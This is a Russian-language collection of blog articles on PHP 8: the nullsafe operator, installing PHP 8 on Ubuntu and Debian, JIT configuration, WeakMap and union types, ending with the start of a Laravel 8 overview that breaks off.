Здесь у нас есть объект Order, который имеет необязательное отношение к объекту Invoice. Теперь представьте, что мы хотели бы получить номер счета (если счет не нулевой). Вы можете сделать это как с оператором объединения null, так и с оператором nullsafe:

var_dump($order->invoice?->number);
var_dump($order->invoice->number ?? null);

Так в чем тогда разница? Хотя в этом примере вы можете использовать оба оператора для достижения одного и того же результата, у них также есть определенные граничные случаи, с которыми может справиться только один из них. Например, вы можете использовать оператор объединения null в сочетании с ключами массива, в то время как оператор nullsafe не может их обрабатывать:

$array = [];

var_dump($array['key']->foo ?? null);

var_dump($array['key']?->foo);

Warning: Undefined array key "key"

С другой стороны, оператор nullsafe может работать с вызовами методов, а оператор объединения null - нет. Представьте себе такой Invoice объект:

class Invoice
{
    public function getDate(): ?DateTime { /* … */ }
    
    // …
}

$invoice = new Invoice();

Вы можете использовать оператор nullsafe для вызова format() даты счета-фактуры, даже если она null:

var_dump($invoice->getDate()?->format('Y-m-d'));

// null

В то время как оператор объединения с нулевым значением выйдет из строя:

var_dump($invoice->getDate()->format('Y-m-d') ?? null);

Fatal error: Uncaught Error: Call to a member function format() on null

Короткое замыкание и isset

Иногда вы можете использовать либо оператор объединения с нулевым значением, либо оператор nullsafe, в других случаях вам нужно будет сделать конкретный выбор. Разница в том, что оператор nullsafe, по сути, использует форму «короткого замыкания»: запись ?-> заставит PHP смотреть на то, что находится в левой части этого оператора, и если она равна null, тогда правая часть будет просто отброшена. Это означает, что даже динамические вызовы или вызовы с ошибками позже в процессе не происходят.

А вот оператор объединения null (??) на самом деле является замаскированным isset вызовом своего левого операнда, который не поддерживает короткое замыкание.

Короткое замыкание также означает, что при написании чего-то вроде этого:

$foo?->bar(expensive_function());

expensive_function будет выполнена, только если $foo не будет равен null.

Вложенные операторы nullsafe

Можно вложить несколько вызовов операторов nullsafe следующим образом:

$foo?->bar?->baz()?->boo?->baa();

Только для чтения данных 

Конечно, у оператора nullsafe есть несколько ограничений. Он работает только для чтения свойств или методов, но не для записи значений. Он также не работает с ссылками, потому что ссылки требуют реальных значений. (Это согласуется с другими языками, в которых есть нулевой безопасный оператор.)

Итак, запомните, вы не можете использовать оператор nullsafe для записи данных в объекты, т.е. такая запись не пройдет:

$offer?->invoice?->date = new DateTime();

Он также не указывает на то, какой шаг в цепочке вернул null. Возьмем тот же пример с country:

$country = $session?->user?->getAddress()?->country;

 Если $country будет равен null, это может быть потому что $session был null, или $user был null, или getAddress() возвратил null. Короче, невозможно сказать. Иногда это нормально. Однако, если вам нужно точно это знать, nullsafe вам не поможет. Для этого вам нужна Either монада, но это тема совсем другого времени...

Тем не менее, nullsafe может помочь уменьшить количество шаблонного кода, плавающего вокруг цепочек объектно-ориентированных методов. Мы должны поблагодарить Илью Товило за nullsafe RFC. Оператор nullsafe определенно является нужной, и недостающей частью, наконец добавленной в PHP. Учитывая его динамичный характер, приятно иметь чистый, красивый способ справиться с null.

Поначалу разница и совпадение между оператором nullsafe и оператором объединения null немного сбивает с толку, но к этому легко привыкнуть.

Релиз PHP 8 состоялся 26 ноября 2020 года, и в этом посте мы установим новую версию или обновим вашу старую версию PHP до 8

PHP 8.0 содержит много новых функций и улучшений производительности, синтаксиса, безопасности и стабильности. Установка PHP 8.0 практически на любой сервер упрощается благодаря предварительно скомпилированным пакетам, доступным во всех поддерживаемых в настоящее время версиях Debian и Ubuntu.

Изменения расширений и зависимостей в PHP 8.0

Несмотря на огромное количество изменений в PHP 8.0, в принципе было произведено не так много изменений в его зависимостях и структуре расширений.

Расширение JSON теперь всегда доступно , и нет флага компиляции для его исключения. Это означает, что больше нет необходимости явно устанавливать пакет php-json.

Расширение xmlrpc  перемещено в PECL по уважительным причинам. Репозитории программного обеспечения, упомянутые в этом посте, не включают xmlrpc расширения для PHP 8.0.

Кроме того, в Windows название расширения GD было изменено с php_gd2.dll на php_gd.dll.

Изменения в файле INI PHP 8.0

Также есть несколько изменений в файле INI.

• По умолчанию утверждения вызывают исключения - ( assert.exception=1)
• Отображение ошибок по умолчанию установлено на E_ALL - ( error_reporting=-1)
• При запуске теперь по умолчанию ошибки включены - ( display_startup_errors=1)

• Новая функция JIT в PHP 8.0 добавляет несколько новых директив INI.
• Параметр zend.exception_string_param_max_len для настраиваемой длины строки трассировки стека исключений

Установка PHP 8  

1. Необходимо добавить репозиторий ondrej/phpPPA

Ubuntu/Mint

sudo apt-get install software-properties-common
sudo add-apt-repository ppa:ondrej/php
sudo apt-get update

Debian

sudo apt install apt-transport-https lsb-release ca-certificates wget -y
sudo wget -O /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg 
sudo sh -c 'echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list'
sudo apt update

Приведенные выше шаги добавят PPA в качестве источника пакетов, который содержит все пакеты PHP и их зависимости, такие как argon2 и libzip.

 2. Установите PHP 8.0 и нужные расширения

Все пакеты PHP 8.0 следуют шаблону php8.0-имя_расширения , и пакет php8.0-common  включает необходимый набор расширений по умолчанию.

sudo apt install php8.0-common

Установите PHP 8.0 CLI для работы в консоли

sudo apt install php8.0-cli

Дополнительные расширения

Вы можете установить дополнительные расширения по тому же шаблону php8.0-имя_расширения. Обратите внимание, что вам не нужно устанавливать, так php8.0-json, так как теперь он включен по умолчанию.

Пример установки еще нескольких полезных расширений:

sudo apt install php8.0-{curl,intl,mysql,readline,xml,mbstring}

Для разработки также могут быть установлены инструменты покрытия кода или отладчик Xdebug. 

sudo apt install php8.0-pcov # PCOV code coverage tool
sudo apt install php8.0-xdebug # Xdebug debugger

Установка PHP8 fpm

В зависимости от используемого веб-сервера вам необходимо будет установить дополнительные пакеты для интеграции с веб-сервером.

Для использования Apache mpm_event, Nginx, Litespeed и т. д. нужно будет установить php8.0-fpm

sudo apt install php8.0-fpm

Для использования Apache mod_php установите libapache2-mod-php8.0  

sudo apt install libapache2-mod-php8.0

Чтобы проверить установку PHP и расширений, выполните следующие команды:

php -v
php -m

# php -v
PHP 8.0.0 (cli) (built: Nov 26 2020 18:04:36) ( NTS )
Copyright (c) The PHP Group
Zend Engine v4.0.0, Copyright (c) Zend Technologies

# php -m
[PHP Modules]
Core
ctype
curl
...

Если вам потребуется удалить старые пакеты PHP, можно воспользоваться командой

sudo apt purge '^php7.4.*'

Это предполагает, что вы используете PHP 7.4 в качестве предыдущей версии. Но будьте осторожны, сначала сто раз проверьте что вы больше не используете старые версии в своих проектах. 

Смена установленной версий PHP по умолчанию.

Если вдруг вас не устраивает новая установленная версия PHP, вы можете сменить другую версию по умолчанию, командой:

sudo update-alternatives --config php

Есть 7 вариантов для альтернативы php (предоставляет /usr/bin/php).

  Выбор   Путь         Приор Состояние
------------------------------------------------------------
  0            /usr/bin/php8.0   80        автоматический режим
  1            /usr/bin/php5.6   56        ручной режим
  2            /usr/bin/php7.0   70        ручной режим
  3            /usr/bin/php7.1   71        ручной режим
  4            /usr/bin/php7.2   72        ручной режим
  5            /usr/bin/php7.3   73        ручной режим
* 6            /usr/bin/php7.4   74        ручной режим
  7            /usr/bin/php8.0   80        ручной режим

Press <enter> to keep the current choice[*], or type selection number: 6

И введя номер нужной вам предыдущей версии PHP.

PHP 8 добавляет к ядру PHP JIT-компилятор, который может значительно повысить производительность

JIT-компиляторы очень сложны, потому что для того, чтобы добиться от них хорошей производительности, обычно нужно выбирать, какие именно части промежуточного языка должны компилироваться в машинный код, а какие нет. Преобразование в машинный код не всегда происходит быстрее, в зависимости от конкретных деталей кода и рассматриваемого языка. Кроме того, процесс преобразования упрощенного кода в машинный код может занять больше времени, чем просто однократный запуск упрощенного кода и мгновенного завершение его работы.

По этой причине большинство JIT-компиляторов анализируют код во время его выполнения, чтобы определить, какие части дают наилучшую отдачу, а затем компилируют только эти биты. Теоретически, отличный результат состоит в том, что программа буквально становится быстрее по мере ее выполнения, а JIT-компилятор в виртуальной машине узнает, какие части кода нужно оптимизировать.

Java была первым широко распространенным языком, включившим JIT в свою виртуальную машину. Большинство основных движков Javascript теперь тоже. И, начиная с PHP 8.0, к этому списку присоединился и PHP.

PHP JIT

JIT в PHP появилась давно. На самом деле он находился в разработке в течение нескольких лет и почти был выпущен в PHP 7.4. Работа по созданию JIT в PHP была тем импульсом, который привел к серьезному переписыванию движка, что дало версии 7.0 значительный прирост производительности.

PHP JIT построен как расширение кеша опкодов. Это означает, что его можно включать и отключать либо при сборке самого PHP, либо во время выполнения через php.ini.

Честно говоря, настройка JIT - один из самых запутанных способов настройки расширения PHP, который я когда-либо видел. К счастью, есть несколько сокращений конфигурации, которые упрощают настройку. Тем не менее, будет очень полезным знать как настраивать JIT, так что приступим.

Кратко для системных администраторов

В PHP 8.0 JIT как бы включен по умолчанию, но и выключен. Требуется только минимальная конфигурация php.ini, подобная этой:

opcache.enable=1
opcache.enable_cli=1
opcache.jit_buffer_size=128M

Как настроить JIT в PHP 8

Прежде всего, JIT будет работать, только если включен opcache, хоть по умолчанию в PHP он и включен, вы все равно должны убедиться, что в вашем php.ini файле установлено значение opcache.enable = 1. Включение самого JIT осуществляется путем установки в php.ini параметра opcache.jit_buffer_size в ненулевое значение. Это контролирует, сколько места в памяти JIT может заполнить оптимизированным машинным кодом. Однако больше не всегда лучше, поскольку JIT также может тратить время на компиляцию кода, который на самом деле не выигрывает от компиляции.

Обратите внимание, что если вы запускаете PHP через командную строку, вы также можете передать эти параметры через флаг -d вместо того, чтобы добавлять их в php.ini:

php -d opcache.enable=1 -d opcache.jit_buffer_size=128M

Если эта директива отсутствует, то значение по умолчанию будет равно 0, и JIT не будет работать.

Так же, если вы тестируете JIT в сценарии CLI, вы должны использовать opcache.enable_cli для включения opcache:

php -d opcache.enable_cli=1 -d opcache.jit_buffer_size=128M

Разница между opcache.enable и opcache.enable_cli заключается в том, что первый вариант следует использовать тогда, когда вы, например, используете встроенный PHP-сервер. Если вы на самом деле запускаете сценарий CLI, вам понадобится opcache.enable_cli.

Прежде чем продолжить, давайте убедимся, что JIT действительно работает, создадим PHP-скрипт, доступный через браузер или CLI (в зависимости от того, где вы тестируете JIT), и посмотрим на вывод opcache_get_status(): 

var_dump(opcache_get_status()['jit']);

Результат будет примерно таким:

array:7 [
  "enabled" => true
  "on" => true
  "kind" => 5
  "opt_level" => 4
  "opt_flags" => 6
  "buffer_size" => 4080
  "buffer_free" => 0
]

 Если enabled и on стоят в true, то все работает как надо!

Далее есть несколько способов настроить JIT (и здесь мы попадем в круговорот беспорядка конфигурации). Вы можете настроить, когда должен работать JIT, с какой степенью он должен пытаться оптимизировать и т.д. Все эти параметры настраиваются с помощью всего одной записи конфигурации(!): opcache.jit. Выглядит это так:

opcache.enable=1 
opcache.jit=1255

В RFC можно почитать что означает каждое из чисел. Имейте в виду: это не битовая маска, каждое число просто представляет собой различный вариант конфигурации. Итак, RFC дает нам следующие варианты:

O - Уровень оптимизации 

T - триггер JIT

R - распределение регистров

C - флаги оптимизации CPU

Одно небольшое уточнение: Перечислять эти параметры нужно в обратном порядке, поэтому первая цифра представляет C значение, вторая - R, третья - T и четвертая - O. Почему просто не были добавлены четыре записи конфигурации, я не понимаю, вероятно, чтобы ускорить настройку JIT, может быть...

В любом случае, рекомендуется устанавливать значение 1255 в качестве наиболее оптимального, тогда будет выполняться максимальный "джитинг", используя JIT трассировки, глобальный распределитель регистров liner-scan - что бы это ни было, черт возьми, и позволяет генерировать инструкции AVX.

Итак, ваши ini-настройки (или флаги -d ) должны иметь следующие значения:

opcache.enable=1 
opcache.jit_buffer_size=128M
opcache.jit=1255

Имейте в виду, что необязательно настраивать opcache.jit. JIT будет использовать значение по умолчанию, если это свойство не указано. А какой по умолчанию, спросите вы? А вот какое opcache.jit=tracing.

Что еще за трассировка, спросите вы, это совсем не та странная структура, похожая на битовую маску, которую мы видели ранее. И вы будете правы: после того, как был принят исходный RFC, контрибьюторы ядра PHP осознали, что параметры-шифры, подобные битовой маске, не очень удобны для пользователя, поэтому они добавили два человечески понятные псевдонима, которые транслируются в ту самую битовую маску под капотом. Есть opcache.jit=tracing и opcache.jit=function.

Разница между ними заключается в том, что при параметре функции JIT пытается оптимизировать код только в рамках одной функции, в то время как JIT трассировка может просматривать всю трассировку стека, чтобы идентифицировать и оптимизировать горячий код. PHP Internals рекомендует использовать JIT-трассировку, потому что она почти всегда дает наилучшие результаты.

Таким образом, единственно что от вас потребуется, чтобы включить JIT с его оптимальной конфигурацией - это установка opcache.jit_buffer_size, но если вы хотите установить конфигурацию явно, включение параметра opcache.jit будет не такой уж плохой идеей:

opcache.enable=1 
opcache.jit_buffer_size=128M
opcache.jit=tracing

Отладка JIT (opcache.jit_debug)

PHP JIT обеспечивает способ выдачи отладочной информации JIT путем установки конфигурации INI. Когда установлен определенный флаг, он выводит код сборки для дальнейшей проверки.

opcache.jit_debug=1

Директива opcache.jit_debug принимает значение битовой маски для включения определенных функций. В настоящее время он принимает значение в диапазоне от 1 (0b1) до 20 двоичных разрядов. Значение 1048576 представляет максимальный уровень вывода отладки. 

php -d opcache.jit_debug=1 test.php

TRACE-1$/test.php$7: ; (unknown)
    sub $0x10, %rsp
    mov $EG(jit_trace_num), %rax
    mov $0x1, (%rax)
.L1:
    cmp $0x4, 0x58(%r14)
    jnz jit$$trace_exit_0
    cmp $0x4e20, 0x50(%r14)
    ...

JIT поддерживает несколько других параметров конфигурации, чтобы настроить, сколько вызовов функций делает ее «горячей» функцией, которая затем компилируется JIT, и порог для определения того, какие функции следует "JIT'ировать", на основе процента общих вызовов функций.

Полный список см. В разделе Конфигурация Opcache.  

Улучшит ли JIT производительность?

Короче, «это зависит от обстоятельств». Для веб-приложений может и не очень, но вот для PHP как экосистемы даже может чрезмерно.

PHP, по замыслу, обычно работает в конфигурации без совместного использования ресурсов. После обработки каждого запроса приложение полностью закрывается. Это дает JIT очень мало времени на анализ и оптимизацию кода, тем более, что большая часть кода в типичном веб-запросе выполняется только один раз, поскольку запрос обрабатывается линейно. Кроме того, большей частью этих приложений часто является ввод-вывод (в основном, общение с базой данных), и JIT вообще не может с этим помочь. Результаты тестов, которые были опубликованы на данный момент, показывают, что JIT предлагает лишь незначительное повышение производительности в типичных приложениях PHP, запускаемых через PHP-FPM.

JIT потенциально может быть действительно полезен в тех случаях, где PHP сегодня совсем не рассматривается. Реальные преимущества будут видны в работе постоянных демонов, парсерах, машинном обучении и других длительных процессах, интенсивно использующих CPU.

PHP-Parser - это «анализатор PHP, написанный на PHP». Он от того же Никиты Попова, и используется многими инструментами статического анализа, представленными сегодня на рынке, такими как, например, PHPStan и пр.  Никита сообщил, что PHP-Parser в некоторых случаях работает в два раза быстрее с новым движком JIT.

Асинхронные приложения, написанные на React PHP или AmPHP , вероятно, также увидят заметное улучшение, хотя и не настолько, как правило, они выполняют много операций ввода-вывода (где JIT бесполезен).

Может быть для вас будет шоком узнать, что для PHP доступны библиотеки машинного обучения, такие как Rubix ML или PHP-ML. Они не так широко используются, как их собраты на Python, отчасти потому, что при интерпретации они, как правило, медленнее, чем библиотеки C с красивыми оболочками Python. Однако с JIT эти задачи с интенсивным использованием CPU могут оказаться такими же быстрыми или, возможно, даже более быстрыми, чем те, которые доступны на других языках.

PHP больше не является "просто самым быстрым из основных языков веб-сценариев". Теперь это жизнеспособный высокопроизводительный язык общей обработки данных, с передачей постоянных воркеров, машинного обучения и других высокопроизводительных задач, в руки миллионов PHP-разработчиков по всему миру.

В первую очередь мы должны поблагодарить Дмитрия Стогова и Зеева Сураски за многолетние усилия по реализации этого RFC .

PHP 8 версии появились Weak Maps - слабые карты, использующие объекты в качестве ключей

PHP 7.4 представил интересную концепцию слабых ссылок , которые позволяют ссылаться на объект без увеличения его счетчика ссылок. Это немного непонятно и на практике в большинстве случаев не так уж и полезно. На самом деле мы ждали Weak Maps, которые и появились в PHP 8.0.

WeakMap аналогичен SplObjectStorage, и WeakMap и splObjectStorage использует объекты в качестве ключа и позволяет хранить произвольные значения. Тем не менее, WeakMap не защищает объект от "сборки мусора".

$map = new splObjectStorage();

$object = new stdClass();
$map[$object]  = 'Foo';

var_dump(count($map)); // int(1)

unset($object);

var_dump(count($map)); // int(1)

В приведенном выше фрагменте splObjectStorage используется для хранения дополнительных данных об объектах. Даже при вызове unset($object) сборщик мусора PHP не удаляет его из памяти из-за ссылки $map splObjectStorage. 

С WeakMap, ссылки являются слабыми, и ссылка внутри WeakMap не мешает сборщику мусора очистить объект, если нет других ссылок на объект, тот же пример:

+ $map = new WeakMap();

$object = new stdClass();
$map[$object]  = 'Foo';

var_dump(count($map)); // int(1)

unset($object);

var_dump(count($map)); // int(0)

Как видите WeakMap позволяет очистить объект, а splObjectStorage - нет.

Краткое описание класса WeakMap

final class WeakMap implements ArrayAccess, Countable, IteratorAggregate, Traversable {
    public function offsetGet(object $object);
    public function offsetSet(object $object, mixed $value): void;
    public function offsetExists(object $object): bool;
    public function offsetUnset(object $object): void;
    public function count(): int;
}

Подробнее о Weak Maps

Слабые карты могут помочь связать временные данные с объектами без изменения состояния самого объекта. Если объект выпадает из области видимости, то же самое происходит и с соответствующими данными.

На первый взгляд слабые карты немного сложно понять, обычно, когда вы создаете объект и назначаете его переменной, происходит так, что объект создается в памяти, а затем создается переменная как ссылка на него. Думайте об этом как о переменной, имеющей только идентификатор объекта, а не о самом объекте. Если вы назначите другую переменную тому же объекту, останется только один объект, но теперь есть две переменные с идентификатором объекта. 

<?php

$a = new Foo();
$b = $a;

//$b and $a теперь отдельные переменные 
//оба указывают на объект Foo где-то в памяти.

Каждый раз, когда переменная удаляется, PHP проверяет, есть ли другие переменные, которые все еще ссылаются на этот объект. Если их нет, он знает, что можно удалить этот объект за вас. Этот процесс называется «сборкой мусора», и я здесь сильно упростил процесс, но этого вполне достаточно для общего понимания.

Слабая ссылка же или слабая карта - это способ создания переменной, которая действует как и любая другая, но когда PHP проверяет, указывают ли какие-либо переменные на объект,

эти «слабые» переменные не учитываются. Поэтому, если есть еще три слабые ссылки, указывающие на объект, но нет обычных переменных, PHP с радостью удалит объект и вместо этого установит для остальных переменных значение null.

$map = new WeakMap;
$obj = new stdClass;
$map[$obj] = 42;
var_dump($map);

// object(WeakMap)#1 (1) {
//   [0]=>
//   array(2) {
//     ["key"]=>
//     object(stdClass)#2 (0) {
//     }
//     ["value"]=>
//     int(42)
//   }
// }
 
// Здесь объект уничтожается, а ключ автоматически удаляется со слабой карты.
unset($obj);
var_dump($map);
// object(WeakMap)#1 (0) {
// }

  Т.е. по сути Слабые ссылки это способ сказать: 

Я бы предпочел отслеживать это, но если это кажется бесполезным, не храните его только из-за меня

Будет больше смысла увидеть это в более-менее рабочем действии. Предположим, у вас есть серия объектов Product, написанных кем-то там еще в какой-то там библиотеке. Вы не можете их изменить, но вы собираетесь их использовать.

Для каждого из Product вы хотите отслеживать дополнительную информацию, которой нет в исходном объекте, например список объектов Review в этом продукте. Создание подклассов Product для включения обзоров возможно, но беспорядочно, и при наследовании часто можно столкнуться с проблемами при попытке объединить несколько модулей вместе.

Вместо этого мы создадим отдельный объект ReviewList, содержащий слабую карту объектов Review, лениво загружая их по мере необходимости и отслеживая их Product. Как только Product удаляется из памяти, и соотвественно все переменные, которые на него ссылаются, выходят из области видимости, нам не нужно хранить все эти объекты Review. WeakMap в этом случае действует как самоочищающийся кеш и работает аналогично ArrayObject.

<?php
class ReviewList
{
    private WeakMap $cache;

    public function __construct()
    {
        $this->cache = new WeakMap();
    }

    public function getReviews(Product $prod): string
    {
        return $this->cache[$prod] ??= $this->findReviews($prod->id());
    }

    protected function findReviews(int $prodId): array
    {
        // получение обзоров продукта
    }
}


$reviewList = new ReviewList();
$prod1 = getProduct(1);
$prod2 = getProduct(2);

$reviewsP1 = $reviewList->getReviews($prod1);
$reviewsP1 = $reviewList->getReviews($prod2);

// ...

$reviewsP1Again = $reviewList->getReviews($prod1);

unset($prod1);

 В этом примере ReviewList есть внутренний «слабый кеш», с ключом объектов Product. Когда вызывается getReviews(), если желаемое значение уже находится в кеше, оно будет возвращено. Если нет, он будет загружен в память, сохранен в кеше WeakMap и затем возвращен. (Здесь есть ??=  - "Оператор присваивания значения NULL", представленный в PHP 7.4, и является исключительно четким именно для такого рода случаев.) Позже, когда мы создадим $reviewsP1Again, значение будет вместо этого искаться в кэше.

Однако в какой-то момент в будущем мы уничтожим $prod1 - unset($prod1). Обычно это не выполняется вручную, но переменная выходит за пределы области видимости и собирает мусор. Поскольку обычных ссылок на объект product 1 больше нет, ссылка на этот объект в $cache Weak Map будет удалена автоматически. Это также приведет Review к автоматической очистке соответствующего списка объектов. Память сохранена, и дальнейшая работа не требуется. Это «Just Works!».

Если вы попытаетесь сделать то же самое с обычным массивом, возникнут две проблемы:

• Массивы не могут использовать объекты в качестве ключей, поэтому необходимо исключить идентификатор продукта или что-то подобное.
  
• Это означает, что кеш не будет знать, что нужно обрезать себя, когда объект, для которого он используется, собирает мусор. Возможно, вам удастся реализовать сложную логику, используя деструкторы, глобальные переменные и прочую черную магию, но… пожалуйста, не делайте этого. Шансы ошибиться высоки, а уровень сложности, который он привносит, того не стоит.

Подобные сценарии кеширования действительно являются единственным надежным вариантом использования WeakMap, но когда вам это нужно, это будет большая экономия памяти и кода.

Замечания по WeakMap

Ключи WeakMap должны быть объектами

Слабые карты допускают только объекты в качестве ключей , а связанные допускают произвольные значения. Попытка сохранить любой другой тип данных в качестве ключа вызовет ошибку типа.

$map = new WeakMap();
$map['Foo'] = 'Bar';

// Fatal error: Uncaught TypeError: WeakMap key must be an object in ...:...

Добавление к WeakMap также не допускается. 

$map = new WeakMap();
$map[] = 'Baz';

// Fatal error: Uncaught Error: Cannot append to WeakMap in ...:...

Error на несуществующих ключах 

Если запрошенный объект не существует в объекте WeakMap, создается исключение \Error.

$map = new WeakMap();
$map[new stdClass()];

// Fatal error: Uncaught Error: Object stdClass#2 not contained in WeakMap in ...:...

Этого можно избежать, проверив индекс на существование.

$map = new WeakMap();
isset($map[new stdClass()]); // false

WeakMap не разрешает свойства 

$map = new WeakMap();
$map->foo = 'Bar';

// Fatal error: Uncaught Error: Cannot create dynamic property WeakMap::$foo in ...:...

WeakMap не поддерживает сериализацию/десериализацию 

Слабые карты не могут быть сериализованы или десериализованы. Если WeakMap класс объявлен final, это тоже можно изменить.

$map = new WeakMap();
serialize($map);

// Fatal error: Uncaught Exception: Serialization of 'WeakMap' is not allowed in ...:...

$serialized_str = 'C:7:"WeakMap":0:{}';
unserialize($serialized_str);

// Fatal error: Uncaught Exception: Unserialization of 'WeakMap' is not allowed in ...:...

Итерация слабых карт  

 Класс WeakMap реализует интерфейс Traversable, его можно использовать итеративно с помощью foreach. Далее WeakMap имплементирует IteratorAggregate, приносящий метод WeakMap::getIterator.

map = new WeakMap();

$obj1 = new stdClass();
$map[$obj1] = 'Object 1';

foreach ($map as $key => $value) {
    var_dump($key); // var_dump($obj1)
    var_dump($value); // var_dump('Object 1');
}

Сам итератор можно извлечь с помощью метода getIterator, а возвращаемое значение - это iterable.

$map = new WeakMap();

$obj1 = new stdClass();
$map[$obj1] = 'Object 1';

$iterator = $map->getIterator();

foreach ($iterator as $key => $value) {
    var_dump($key); // var_dump($obj1)
    var_dump($value); // var_dump('Object 1');
}

Влияние на обратную совместимость

Слабые карты - это новая функция в PHP 8.0, и, т.к. в глобальном пространстве имен нет класса с именем WeakMap, то и не должно возникнуть никаких проблем при обновлении существующей базы кода до PHP 8.0.

Поскольку WeakMap это внутренний класс, эту функцию нельзя перенести на предыдущие версии PHP и заставить ее работать с собственным сборщиком мусора. 

Еще раз благодарим Никиту Попова за RFC WeakMap. 

PHP прошел долгий путь с типами. Теперь у нас есть скалярные типы, возвращаемые типы, типы допускающие значение NULL и теперь PHP 8.0 будет поддерживать объединение типов (Union Types).

В версиях до PHP 8.0 вы могли объявить только один тип для свойств, параметров и возвращаемых типов. PHP 7.1 и более поздние версии имеют типы, допускающие значение null, что означает, что вы можете объявить тип с помощью null  объявления типа, аналогичного ?string.

Начиная с PHP 8.0, вы можете объявлять более одного типа для аргументов, возвращаемых типов и свойств класса:

class Example {
    private int|float $foo;
    public function sum(float|int $bar): int|float {
        return $this->foo + $bar;
    }
}

Т.е. мы можем теперь более лучше объявлять несколько типов,  разделеные знаком вертикальной черты ( | ).
Подобно типам, применяемым в предыдущих версиях PHP, теперь PHP будет следить за тем, чтобы параметры функции, возвращаемые типы и свойства класса принадлежали одному из типов, объявленных в определении. Все определения типов будут проверяться во время выполнения, поэтому PHP выдаст ошибку, если мы попытаемся передать/вернуть недопустимый тип.

Типы объединений до PHP 8.0

Обнуляемые типы

В PHP уже есть поддержка типов, допускающих значение null; Вы можете объявить тип как обнуляемый, поставив знак ? перед типом. Например, если определенное свойство может быть и string или null, вы можете объявить его как ?string. В PHP 8.0 такая запись типов string|null будет функционально эквивалентен ?string.

Тип iterable

Существует также псевдотип iterable, который функционально эквивалентен array|Traversable.

Комментарии PHPDoc

В стандарте PHPDoc была поддержка Union Types. Вы могли использовать комментарий PHPDoc для объявления типов, разрешенных для определенного блока кода:

class Example {  

 /**  
  * @var int|float  
  */  
  private $foo;  

  /**  
   * @param int|float $bar  
   * @return int|float  
   */  
  public function sum(int $bar): int {  
    return $this->foo + $bar;  
  }
 }

Типы объединений в PHP 8.0

Начиная с PHP 8.0, теперь можно объявлять любое количество произвольных типов для свойств, аргументов и возвращаемых типов. Есть несколько исключений, которые не имеют смысла использовать вместе, например string|void.

Теперь вы можете полностью избавиться от комментариев PHPDoc типа @var, @param, и @return в пользу типов, применяемых в самом коде. Это, безусловно, поможет очистить шаблонные комментарии, которые были только потому, что их нельзя было объявить раньше в коде.

Существующие типы, допускающие значение NULL, не удаляются и не устаревают. Вы можете продолжать использовать ?string в качестве сокращения для string|null.

Тип iterable тоже не убрали и будет функционально равен array|Traversable.

В RFC далее объясняются некоторые ограничения и другие улучшения для типов Union:

Не разрешен тип void

В PHP уже есть поддержка типа void. Он разрешен только как возвращаемый тип, потому что использование void в другом месте не имеет никакого смысла. Либо функция не должна возвращать никакого значения, либо вызывать return без указания значения.

В PHP 8.0 Union Types нельзя комбинировать тип void с любым другим типом. Например, не допускается следующее:

function foo(): void|null {}

Специальный тип false

В Ядре PHP и в многих старых библиотеках return false указывает на отрицательный результат. Например, если у вас есть функция, которая загружает использование учетной записи по ее идентификатору, return false может указывать на то, что пользователь не существует.

Чтобы помочь принятию типов объединения, разрешено использовать false как часть типов объединения:

public function getUser(int $id): User|false {
     //...
}

Есть несколько основных функций PHP, которые также следуют тому же шаблону. Например, функция strpos() Возвращает int позицию первого вхождения подстроки или false если ничего не было найдено:

strpos(string $haystack, string $needle, int $offset = 0): int|false

Итак, что нужно учитывать:

• false нельзя использовать как самостоятельный тип. Это означает, что объявление типа как public false $foo не допускается. Вы все еще можете использовать тип bool для этого. (Правка от автора: Начиная с PHP 8.2 разрешено использование false в качестве отдельного типа) 
• Псевдотип false разрешен везде, где разрешены типы: свойства класса, аргументы функций и возвращаемые типы.
• Если используется тип bool, тогда false нельзя использовать в объявлении того же типа.

Типы, допускающие значение null (?Type) и null нельзя смешивать

Хотя ?string это сокращение для string|null, эти два обозначения нельзя смешивать. Если ваше объявление типа имеет более одного типа и null, оно должно быть объявлено следующим образом:

Type1|Type2|null

И ни в коем случае не должно быть объявлено двусмысленным объявлением:

?Type1|Type2

Повторяющиеся типы не допускаются

Вы не можете объявить int|int или, int|INT поскольку это по сути одно и то же. Более того запись int|?int тоже не допускается.

Последнее приведет к синтаксической ошибке, а первое выдаст эту ошибку:

Fatal error: Duplicate type ... is redundant in ... on line ...

Недопустимы избыточные типы

Объединенные типы не допускают избыточных типов классов. Однако важно отметить, что это относится только к нескольким специальным типам.

• bool|false не допускается, потому что false это тоже тип bool
• object нельзя использовать с именем класса, потому что все объекты класса тоже имеют тип object
• iterable нельзя использовать с array или Traversable потому что iterable это уже тип объединения array|Traversable.
• Имена классов можно использовать, даже если одно расширяет другое.

Поскольку объявления объединенных типов проверяются во время компиляции, при использовании родительского класса и дочернего класса в объединении не возникнет ошибок, поскольку для этого потребуется разрешение иерархии классов.

Вот некоторые примеры ошибок:

function foo(): bool|false {} // Fatal error: Duplicate type false is redundant in ... on line ...
function foo(): DateTime|object {} // Fatal error: Type DateTime|object contains both object and a class type, which is redundant in ... on line ...
function foo(): iterable|array {} // Fatal error: Type iterable|array contains both iterable and array, which is redundant in ... on line ...

А вот такая запись вполне пройдет:

class A{}
class B extends A{}
function foo(): A|B {}

Типовая дисперсия

Дисперсия Union Types следует принципу LSP (SOLID). Это делается для того, чтобы все подклассы и реализации интерфейса не изменяли поведение программы и по-прежнему придерживались контракта. Это применяется в PHP даже без Union Types. 

• Параметр является контрвариантным: типы могут быть расширены с помощью супертипа.
• Типы возвращаемых значений являются ковариантными: типы могут быть ограничены подтипом.
• Инвариантные типы свойств: типы не могут быть изменены на подтип или супертип.

bool и false

В объединенных типах PHP считается false подтипом bool. Это позволяет варьировать следующим образом:

class FooParent {
    public function foo(int|false $a): int|bool {}
}

class FooChild extends FooParent{
    public function foo(int|bool $b): int|false {}  
}

Влияние обратной совместимости  

Laravel 8 будет включать в себя несколько приятных новых дополнений, включая улучшенный режим обслуживания, а также еще несколько более крупных функций, которые еще не были объявлены

Laravel 8 теперь выпущен и включает в себя множество новых функций, включая Laravel Jetstream, каталог моделей, классы фабрики моделей, сжатие миграции, улучшения, ограничивающие скорость, помощники по тестированию времени, динамические компоненты лезвий и многие другие функции.

Начиная с Laravel 6, фреймворк перешел на семантическое управление версиями и следует назначенному процессу выпуска. Это означает, что каждые 6 месяцев выпускается новый выпуск с первым номером (6.0, 7.0, 8.0 и т.д.), а между ними - выпуски исправлений.

Возможность тестирования views и компоненты Blade по отдельности ( #31378 и #32601 )

